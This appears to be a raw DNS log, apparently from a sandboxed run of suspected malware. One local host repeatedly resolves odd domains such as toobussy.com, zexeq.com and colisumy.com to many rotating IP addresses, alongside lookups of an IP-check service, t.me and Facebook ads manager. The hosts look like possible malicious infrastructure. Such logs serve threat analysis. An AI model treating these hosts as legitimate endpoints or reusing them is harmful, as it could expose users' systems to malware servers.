May 28, 2023 10:43:18.790283918 CEST	8.8.8.8	192.168.2.3	0x2085	No error (0)	colisumy.com		211.40.39.251	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:19.477701902 CEST	8.8.8.8	192.168.2.3	0x3028	No error (0)	adsmanager.facebook.com	star.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
May 28, 2023 10:43:19.477701902 CEST	8.8.8.8	192.168.2.3	0x3028	No error (0)	star.facebook.com	star.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
May 28, 2023 10:43:19.477701902 CEST	8.8.8.8	192.168.2.3	0x3028	No error (0)	star.c10r.facebook.com		157.240.17.17	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:19.903872013 CEST	8.8.8.8	192.168.2.3	0x1826	No error (0)	zexeq.com		5.163.228.78	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:19.903872013 CEST	8.8.8.8	192.168.2.3	0x1826	No error (0)	zexeq.com		175.120.254.9	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:19.903872013 CEST	8.8.8.8	192.168.2.3	0x1826	No error (0)	zexeq.com		109.98.58.98	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:19.903872013 CEST	8.8.8.8	192.168.2.3	0x1826	No error (0)	zexeq.com		211.40.39.251	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:19.903872013 CEST	8.8.8.8	192.168.2.3	0x1826	No error (0)	zexeq.com		222.236.49.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:19.903872013 CEST	8.8.8.8	192.168.2.3	0x1826	No error (0)	zexeq.com		211.119.84.112	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:19.903872013 CEST	8.8.8.8	192.168.2.3	0x1826	No error (0)	zexeq.com		201.124.33.177	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:19.903872013 CEST	8.8.8.8	192.168.2.3	0x1826	No error (0)	zexeq.com		211.59.14.90	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:19.903872013 CEST	8.8.8.8	192.168.2.3	0x1826	No error (0)	zexeq.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:19.903872013 CEST	8.8.8.8	192.168.2.3	0x1826	No error (0)	zexeq.com		2.180.10.7	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:20.248779058 CEST	8.8.8.8	192.168.2.3	0xad6c	No error (0)	toobussy.com		222.236.49.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:20.248779058 CEST	8.8.8.8	192.168.2.3	0xad6c	No error (0)	toobussy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:20.248779058 CEST	8.8.8.8	192.168.2.3	0xad6c	No error (0)	toobussy.com		123.140.161.243	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:20.248779058 CEST	8.8.8.8	192.168.2.3	0xad6c	No error (0)	toobussy.com		37.34.248.24	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:20.248779058 CEST	8.8.8.8	192.168.2.3	0xad6c	No error (0)	toobussy.com		80.210.25.252	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:20.248779058 CEST	8.8.8.8	192.168.2.3	0xad6c	No error (0)	toobussy.com		222.236.49.124	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:20.248779058 CEST	8.8.8.8	192.168.2.3	0xad6c	No error (0)	toobussy.com		109.98.58.98	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:20.248779058 CEST	8.8.8.8	192.168.2.3	0xad6c	No error (0)	toobussy.com		175.126.109.15	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:20.248779058 CEST	8.8.8.8	192.168.2.3	0xad6c	No error (0)	toobussy.com		175.120.254.9	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:20.248779058 CEST	8.8.8.8	192.168.2.3	0xad6c	No error (0)	toobussy.com		183.100.39.157	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:20.732796907 CEST	8.8.8.8	192.168.2.3	0xa0b6	No error (0)	zexeq.com		5.163.228.78	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:20.732796907 CEST	8.8.8.8	192.168.2.3	0xa0b6	No error (0)	zexeq.com		175.120.254.9	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:20.732796907 CEST	8.8.8.8	192.168.2.3	0xa0b6	No error (0)	zexeq.com		109.98.58.98	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:20.732796907 CEST	8.8.8.8	192.168.2.3	0xa0b6	No error (0)	zexeq.com		211.40.39.251	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:20.732796907 CEST	8.8.8.8	192.168.2.3	0xa0b6	No error (0)	zexeq.com		222.236.49.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:20.732796907 CEST	8.8.8.8	192.168.2.3	0xa0b6	No error (0)	zexeq.com		211.119.84.112	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:20.732796907 CEST	8.8.8.8	192.168.2.3	0xa0b6	No error (0)	zexeq.com		201.124.33.177	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:20.732796907 CEST	8.8.8.8	192.168.2.3	0xa0b6	No error (0)	zexeq.com		211.59.14.90	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:20.732796907 CEST	8.8.8.8	192.168.2.3	0xa0b6	No error (0)	zexeq.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:20.732796907 CEST	8.8.8.8	192.168.2.3	0xa0b6	No error (0)	zexeq.com		2.180.10.7	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:20.846388102 CEST	8.8.8.8	192.168.2.3	0x9518	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
May 28, 2023 10:43:20.846388102 CEST	8.8.8.8	192.168.2.3	0x9518	No error (0)	star-mini.c10r.facebook.com		157.240.9.35	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:22.043874979 CEST	8.8.8.8	192.168.2.3	0x3f8a	No error (0)	potunulit.org		188.114.97.7	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:22.043874979 CEST	8.8.8.8	192.168.2.3	0x3f8a	No error (0)	potunulit.org		188.114.96.7	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:22.132613897 CEST	8.8.8.8	192.168.2.3	0xe689	No error (0)	toobussy.com		123.140.161.243	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:22.132613897 CEST	8.8.8.8	192.168.2.3	0xe689	No error (0)	toobussy.com		37.34.248.24	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:22.132613897 CEST	8.8.8.8	192.168.2.3	0xe689	No error (0)	toobussy.com		80.210.25.252	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:22.132613897 CEST	8.8.8.8	192.168.2.3	0xe689	No error (0)	toobussy.com		222.236.49.124	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:22.132613897 CEST	8.8.8.8	192.168.2.3	0xe689	No error (0)	toobussy.com		109.98.58.98	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:22.132613897 CEST	8.8.8.8	192.168.2.3	0xe689	No error (0)	toobussy.com		175.126.109.15	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:22.132613897 CEST	8.8.8.8	192.168.2.3	0xe689	No error (0)	toobussy.com		175.120.254.9	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:22.132613897 CEST	8.8.8.8	192.168.2.3	0xe689	No error (0)	toobussy.com		183.100.39.157	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:22.132613897 CEST	8.8.8.8	192.168.2.3	0xe689	No error (0)	toobussy.com		222.236.49.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:22.132613897 CEST	8.8.8.8	192.168.2.3	0xe689	No error (0)	toobussy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:22.417212963 CEST	8.8.8.8	192.168.2.3	0xa2d	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:22.796928883 CEST	8.8.8.8	192.168.2.3	0xe43	No error (0)	ss.apjeoighw.com		154.221.31.191	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:23.615879059 CEST	8.8.8.8	192.168.2.3	0x5e33	No error (0)	toobussy.com		123.140.161.243	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:23.615879059 CEST	8.8.8.8	192.168.2.3	0x5e33	No error (0)	toobussy.com		37.34.248.24	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:23.615879059 CEST	8.8.8.8	192.168.2.3	0x5e33	No error (0)	toobussy.com		80.210.25.252	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:23.615879059 CEST	8.8.8.8	192.168.2.3	0x5e33	No error (0)	toobussy.com		222.236.49.124	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:23.615879059 CEST	8.8.8.8	192.168.2.3	0x5e33	No error (0)	toobussy.com		109.98.58.98	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:23.615879059 CEST	8.8.8.8	192.168.2.3	0x5e33	No error (0)	toobussy.com		175.126.109.15	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:23.615879059 CEST	8.8.8.8	192.168.2.3	0x5e33	No error (0)	toobussy.com		175.120.254.9	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:23.615879059 CEST	8.8.8.8	192.168.2.3	0x5e33	No error (0)	toobussy.com		183.100.39.157	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:23.615879059 CEST	8.8.8.8	192.168.2.3	0x5e33	No error (0)	toobussy.com		222.236.49.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:23.615879059 CEST	8.8.8.8	192.168.2.3	0x5e33	No error (0)	toobussy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:23.970146894 CEST	8.8.8.8	192.168.2.3	0x4fc2	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:24.216830015 CEST	8.8.8.8	192.168.2.3	0x30c4	No error (0)	colisumy.com		211.171.233.129	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:24.216830015 CEST	8.8.8.8	192.168.2.3	0x30c4	No error (0)	colisumy.com		37.34.248.24	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:24.216830015 CEST	8.8.8.8	192.168.2.3	0x30c4	No error (0)	colisumy.com		201.124.33.177	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:24.216830015 CEST	8.8.8.8	192.168.2.3	0x30c4	No error (0)	colisumy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:24.216830015 CEST	8.8.8.8	192.168.2.3	0x30c4	No error (0)	colisumy.com		211.40.39.251	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:24.216830015 CEST	8.8.8.8	192.168.2.3	0x30c4	No error (0)	colisumy.com		123.140.161.243	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:24.216830015 CEST	8.8.8.8	192.168.2.3	0x30c4	No error (0)	colisumy.com		187.245.185.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:24.216830015 CEST	8.8.8.8	192.168.2.3	0x30c4	No error (0)	colisumy.com		211.119.84.111	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:24.216830015 CEST	8.8.8.8	192.168.2.3	0x30c4	No error (0)	colisumy.com		183.100.39.157	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:24.216830015 CEST	8.8.8.8	192.168.2.3	0x30c4	No error (0)	colisumy.com		211.119.84.112	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:25.163640022 CEST	8.8.8.8	192.168.2.3	0x5cc3	No error (0)	toobussy.com		222.236.49.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:25.163640022 CEST	8.8.8.8	192.168.2.3	0x5cc3	No error (0)	toobussy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:25.163640022 CEST	8.8.8.8	192.168.2.3	0x5cc3	No error (0)	toobussy.com		123.140.161.243	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:25.163640022 CEST	8.8.8.8	192.168.2.3	0x5cc3	No error (0)	toobussy.com		37.34.248.24	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:25.163640022 CEST	8.8.8.8	192.168.2.3	0x5cc3	No error (0)	toobussy.com		80.210.25.252	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:25.163640022 CEST	8.8.8.8	192.168.2.3	0x5cc3	No error (0)	toobussy.com		222.236.49.124	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:25.163640022 CEST	8.8.8.8	192.168.2.3	0x5cc3	No error (0)	toobussy.com		109.98.58.98	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:25.163640022 CEST	8.8.8.8	192.168.2.3	0x5cc3	No error (0)	toobussy.com		175.126.109.15	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:25.163640022 CEST	8.8.8.8	192.168.2.3	0x5cc3	No error (0)	toobussy.com		175.120.254.9	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:25.163640022 CEST	8.8.8.8	192.168.2.3	0x5cc3	No error (0)	toobussy.com		183.100.39.157	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:26.496707916 CEST	8.8.8.8	192.168.2.3	0x36ac	No error (0)	toobussy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:26.496707916 CEST	8.8.8.8	192.168.2.3	0x36ac	No error (0)	toobussy.com		123.140.161.243	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:26.496707916 CEST	8.8.8.8	192.168.2.3	0x36ac	No error (0)	toobussy.com		37.34.248.24	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:26.496707916 CEST	8.8.8.8	192.168.2.3	0x36ac	No error (0)	toobussy.com		80.210.25.252	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:26.496707916 CEST	8.8.8.8	192.168.2.3	0x36ac	No error (0)	toobussy.com		222.236.49.124	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:26.496707916 CEST	8.8.8.8	192.168.2.3	0x36ac	No error (0)	toobussy.com		109.98.58.98	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:26.496707916 CEST	8.8.8.8	192.168.2.3	0x36ac	No error (0)	toobussy.com		175.126.109.15	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:26.496707916 CEST	8.8.8.8	192.168.2.3	0x36ac	No error (0)	toobussy.com		175.120.254.9	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:26.496707916 CEST	8.8.8.8	192.168.2.3	0x36ac	No error (0)	toobussy.com		183.100.39.157	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:26.496707916 CEST	8.8.8.8	192.168.2.3	0x36ac	No error (0)	toobussy.com		222.236.49.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:28.035729885 CEST	8.8.8.8	192.168.2.3	0xbebf	No error (0)	toobussy.com		123.140.161.243	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:28.035729885 CEST	8.8.8.8	192.168.2.3	0xbebf	No error (0)	toobussy.com		37.34.248.24	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:28.035729885 CEST	8.8.8.8	192.168.2.3	0xbebf	No error (0)	toobussy.com		80.210.25.252	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:28.035729885 CEST	8.8.8.8	192.168.2.3	0xbebf	No error (0)	toobussy.com		222.236.49.124	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:28.035729885 CEST	8.8.8.8	192.168.2.3	0xbebf	No error (0)	toobussy.com		109.98.58.98	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:28.035729885 CEST	8.8.8.8	192.168.2.3	0xbebf	No error (0)	toobussy.com		175.126.109.15	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:28.035729885 CEST	8.8.8.8	192.168.2.3	0xbebf	No error (0)	toobussy.com		175.120.254.9	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:28.035729885 CEST	8.8.8.8	192.168.2.3	0xbebf	No error (0)	toobussy.com		183.100.39.157	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:28.035729885 CEST	8.8.8.8	192.168.2.3	0xbebf	No error (0)	toobussy.com		222.236.49.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:28.035729885 CEST	8.8.8.8	192.168.2.3	0xbebf	No error (0)	toobussy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:29.543556929 CEST	8.8.8.8	192.168.2.3	0xf4f1	No error (0)	toobussy.com		222.236.49.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:29.543556929 CEST	8.8.8.8	192.168.2.3	0xf4f1	No error (0)	toobussy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:29.543556929 CEST	8.8.8.8	192.168.2.3	0xf4f1	No error (0)	toobussy.com		123.140.161.243	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:29.543556929 CEST	8.8.8.8	192.168.2.3	0xf4f1	No error (0)	toobussy.com		37.34.248.24	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:29.543556929 CEST	8.8.8.8	192.168.2.3	0xf4f1	No error (0)	toobussy.com		80.210.25.252	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:29.543556929 CEST	8.8.8.8	192.168.2.3	0xf4f1	No error (0)	toobussy.com		222.236.49.124	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:29.543556929 CEST	8.8.8.8	192.168.2.3	0xf4f1	No error (0)	toobussy.com		109.98.58.98	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:29.543556929 CEST	8.8.8.8	192.168.2.3	0xf4f1	No error (0)	toobussy.com		175.126.109.15	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:29.543556929 CEST	8.8.8.8	192.168.2.3	0xf4f1	No error (0)	toobussy.com		175.120.254.9	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:29.543556929 CEST	8.8.8.8	192.168.2.3	0xf4f1	No error (0)	toobussy.com		183.100.39.157	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:30.479723930 CEST	8.8.8.8	192.168.2.3	0x7f	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:30.909862995 CEST	8.8.8.8	192.168.2.3	0x89c9	No error (0)	zexeq.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:30.909862995 CEST	8.8.8.8	192.168.2.3	0x89c9	No error (0)	zexeq.com		2.180.10.7	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:30.909862995 CEST	8.8.8.8	192.168.2.3	0x89c9	No error (0)	zexeq.com		5.163.228.78	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:30.909862995 CEST	8.8.8.8	192.168.2.3	0x89c9	No error (0)	zexeq.com		175.120.254.9	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:30.909862995 CEST	8.8.8.8	192.168.2.3	0x89c9	No error (0)	zexeq.com		109.98.58.98	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:30.909862995 CEST	8.8.8.8	192.168.2.3	0x89c9	No error (0)	zexeq.com		211.40.39.251	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:30.909862995 CEST	8.8.8.8	192.168.2.3	0x89c9	No error (0)	zexeq.com		222.236.49.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:30.909862995 CEST	8.8.8.8	192.168.2.3	0x89c9	No error (0)	zexeq.com		211.119.84.112	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:30.909862995 CEST	8.8.8.8	192.168.2.3	0x89c9	No error (0)	zexeq.com		201.124.33.177	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:30.909862995 CEST	8.8.8.8	192.168.2.3	0x89c9	No error (0)	zexeq.com		211.59.14.90	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:31.201472044 CEST	8.8.8.8	192.168.2.3	0xc813	No error (0)	toobussy.com		222.236.49.124	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:31.201472044 CEST	8.8.8.8	192.168.2.3	0xc813	No error (0)	toobussy.com		109.98.58.98	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:31.201472044 CEST	8.8.8.8	192.168.2.3	0xc813	No error (0)	toobussy.com		175.126.109.15	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:31.201472044 CEST	8.8.8.8	192.168.2.3	0xc813	No error (0)	toobussy.com		175.120.254.9	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:31.201472044 CEST	8.8.8.8	192.168.2.3	0xc813	No error (0)	toobussy.com		183.100.39.157	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:31.201472044 CEST	8.8.8.8	192.168.2.3	0xc813	No error (0)	toobussy.com		222.236.49.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:31.201472044 CEST	8.8.8.8	192.168.2.3	0xc813	No error (0)	toobussy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:31.201472044 CEST	8.8.8.8	192.168.2.3	0xc813	No error (0)	toobussy.com		123.140.161.243	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:31.201472044 CEST	8.8.8.8	192.168.2.3	0xc813	No error (0)	toobussy.com		37.34.248.24	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:31.201472044 CEST	8.8.8.8	192.168.2.3	0xc813	No error (0)	toobussy.com		80.210.25.252	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:31.590174913 CEST	8.8.8.8	192.168.2.3	0xea73	No error (0)	adsmanager.facebook.com	star.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
May 28, 2023 10:43:31.590174913 CEST	8.8.8.8	192.168.2.3	0xea73	No error (0)	star.facebook.com	star.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
May 28, 2023 10:43:31.590174913 CEST	8.8.8.8	192.168.2.3	0xea73	No error (0)	star.c10r.facebook.com		157.240.17.17	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:32.185162067 CEST	8.8.8.8	192.168.2.3	0x72a9	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
May 28, 2023 10:43:32.185162067 CEST	8.8.8.8	192.168.2.3	0x72a9	No error (0)	star-mini.c10r.facebook.com		157.240.9.35	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:32.495310068 CEST	8.8.8.8	192.168.2.3	0x5905	No error (0)	toobussy.com		183.100.39.157	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:32.495310068 CEST	8.8.8.8	192.168.2.3	0x5905	No error (0)	toobussy.com		222.236.49.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:32.495310068 CEST	8.8.8.8	192.168.2.3	0x5905	No error (0)	toobussy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:32.495310068 CEST	8.8.8.8	192.168.2.3	0x5905	No error (0)	toobussy.com		123.140.161.243	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:32.495310068 CEST	8.8.8.8	192.168.2.3	0x5905	No error (0)	toobussy.com		37.34.248.24	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:32.495310068 CEST	8.8.8.8	192.168.2.3	0x5905	No error (0)	toobussy.com		80.210.25.252	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:32.495310068 CEST	8.8.8.8	192.168.2.3	0x5905	No error (0)	toobussy.com		222.236.49.124	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:32.495310068 CEST	8.8.8.8	192.168.2.3	0x5905	No error (0)	toobussy.com		109.98.58.98	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:32.495310068 CEST	8.8.8.8	192.168.2.3	0x5905	No error (0)	toobussy.com		175.126.109.15	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:32.495310068 CEST	8.8.8.8	192.168.2.3	0x5905	No error (0)	toobussy.com		175.120.254.9	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:33.652901888 CEST	8.8.8.8	192.168.2.3	0x4431	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:34.496217012 CEST	8.8.8.8	192.168.2.3	0x75e7	No error (0)	toobussy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:34.496217012 CEST	8.8.8.8	192.168.2.3	0x75e7	No error (0)	toobussy.com		123.140.161.243	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:34.496217012 CEST	8.8.8.8	192.168.2.3	0x75e7	No error (0)	toobussy.com		37.34.248.24	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:34.496217012 CEST	8.8.8.8	192.168.2.3	0x75e7	No error (0)	toobussy.com		80.210.25.252	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:34.496217012 CEST	8.8.8.8	192.168.2.3	0x75e7	No error (0)	toobussy.com		222.236.49.124	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:34.496217012 CEST	8.8.8.8	192.168.2.3	0x75e7	No error (0)	toobussy.com		109.98.58.98	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:34.496217012 CEST	8.8.8.8	192.168.2.3	0x75e7	No error (0)	toobussy.com		175.126.109.15	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:34.496217012 CEST	8.8.8.8	192.168.2.3	0x75e7	No error (0)	toobussy.com		175.120.254.9	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:34.496217012 CEST	8.8.8.8	192.168.2.3	0x75e7	No error (0)	toobussy.com		183.100.39.157	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:34.496217012 CEST	8.8.8.8	192.168.2.3	0x75e7	No error (0)	toobussy.com		222.236.49.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:36.019514084 CEST	8.8.8.8	192.168.2.3	0x64e9	No error (0)	toobussy.com		222.236.49.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:36.019514084 CEST	8.8.8.8	192.168.2.3	0x64e9	No error (0)	toobussy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:36.019514084 CEST	8.8.8.8	192.168.2.3	0x64e9	No error (0)	toobussy.com		123.140.161.243	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:36.019514084 CEST	8.8.8.8	192.168.2.3	0x64e9	No error (0)	toobussy.com		37.34.248.24	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:36.019514084 CEST	8.8.8.8	192.168.2.3	0x64e9	No error (0)	toobussy.com		80.210.25.252	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:36.019514084 CEST	8.8.8.8	192.168.2.3	0x64e9	No error (0)	toobussy.com		222.236.49.124	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:36.019514084 CEST	8.8.8.8	192.168.2.3	0x64e9	No error (0)	toobussy.com		109.98.58.98	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:36.019514084 CEST	8.8.8.8	192.168.2.3	0x64e9	No error (0)	toobussy.com		175.126.109.15	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:36.019514084 CEST	8.8.8.8	192.168.2.3	0x64e9	No error (0)	toobussy.com		175.120.254.9	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:36.019514084 CEST	8.8.8.8	192.168.2.3	0x64e9	No error (0)	toobussy.com		183.100.39.157	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:37.228518963 CEST	8.8.8.8	192.168.2.3	0x6cdd	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:37.259345055 CEST	8.8.8.8	192.168.2.3	0x5481	No error (0)	toobussy.com		222.236.49.124	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:37.259345055 CEST	8.8.8.8	192.168.2.3	0x5481	No error (0)	toobussy.com		109.98.58.98	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:37.259345055 CEST	8.8.8.8	192.168.2.3	0x5481	No error (0)	toobussy.com		175.126.109.15	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:37.259345055 CEST	8.8.8.8	192.168.2.3	0x5481	No error (0)	toobussy.com		175.120.254.9	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:37.259345055 CEST	8.8.8.8	192.168.2.3	0x5481	No error (0)	toobussy.com		183.100.39.157	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:37.259345055 CEST	8.8.8.8	192.168.2.3	0x5481	No error (0)	toobussy.com		222.236.49.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:37.259345055 CEST	8.8.8.8	192.168.2.3	0x5481	No error (0)	toobussy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:37.259345055 CEST	8.8.8.8	192.168.2.3	0x5481	No error (0)	toobussy.com		123.140.161.243	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:37.259345055 CEST	8.8.8.8	192.168.2.3	0x5481	No error (0)	toobussy.com		37.34.248.24	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:37.259345055 CEST	8.8.8.8	192.168.2.3	0x5481	No error (0)	toobussy.com		80.210.25.252	A (IP address)	IN (0x0001)	false
